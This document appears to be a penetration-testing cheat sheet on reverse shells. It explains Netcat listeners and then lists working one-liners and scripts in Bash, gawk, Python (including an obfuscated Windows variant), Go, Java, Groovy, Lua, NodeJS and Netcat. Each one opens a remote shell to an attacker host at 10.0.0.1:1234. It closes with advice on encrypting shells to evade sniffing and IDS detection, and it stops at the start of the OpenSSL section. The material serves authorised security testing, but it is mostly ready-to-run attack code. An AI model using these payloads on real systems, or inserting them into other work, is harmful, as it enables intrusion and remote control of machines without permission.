After the exploitation of a remote code execution (RCE) vulnerability, the next step will be to interact with the compromised target. Reverse shells, as opposed to bind shells, initiate the connection from the remote host to the local host. They are especially handy and, sometimes the only way, to get remote access across a NAT or firewall.
The chosen shell will depend on the binaries installed on the target system, although uploading a binary can be possible.12
Unencrypted Shells #
Netcat Listener #
To get the connection from the remote machine (10.0.0.3) and interact with it, a listener have to be set on the desired port (1234) on the local machine (10.0.0.1).
Parameters
n: don’t do DNS lookups.
v: prints status messages.
l: listen.
p <port>: local port used for listening.
Note:
Use a port that is likely allowed via outbound firewall rules on the target network.
Ports from 1 to 1023 are by default privileged ports. To bind to a privileged port, a process must be running with root permissions.
Bash #
bash -i >& /dev/tcp/10.0.0.1/1234 0>&1
0<&196;exec 196<>/dev/tcp/10.0.0.1/1234; sh <&196 >&196 2>&196
#!/usr/bin/gawk -f
BEGIN {
Service = "/inet/tcp/0/10.0.0.1/1234"
while (1) {
do {
printf "0xffsec>" |& Service
Service |& getline cmd
if (cmd) {
while ((cmd |& getline) > 0)
print $0 |& Service
close(cmd)
}
} while (cmd != "exit")
close(Service)
}
}
C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.0.0.1', 1234)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","10.0.0.1:1234");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
Java #
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/1234;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
Groovy 3#
String host="10.0.0.1";
int port=1234;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
lua5.1 -e 'local host, port = "10.0.0.1", 1234 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
NodeJS #
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(1234, "10.0.0.1", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();
-var x = global.process.mainModule.require
-x('child_process').exec('nc 10.0.0.1 1234 -e /bin/bash')
Netcat #
nc -e /bin/sh 10.0.0.1 1234
Depending on the Netcat version, the -e option may not be available, but you still can execute a command after connection being established by redirecting file descriptors. A FIFO or named pipe can be created locally so when a connection is established, /bin/sh gets executed and the shell prompt is given to the remote machine.4
Note: A FIFO can be create both with mknod <path> p or mkfifo <path> .
Encrypted Shells #
During an engagement is imperative to encrypt the communication between the target and the attacker to protect sensitive data and from further activity analysis.
Although most of the tools listed below do not support certificate pinning, meaning they won’t protect you against a MITM attack, they can significantly reduce the risk of sniffing and IDS detection. 5
OpenSSL 6#
Before starting the listener, a key pair and a certificate must be generated.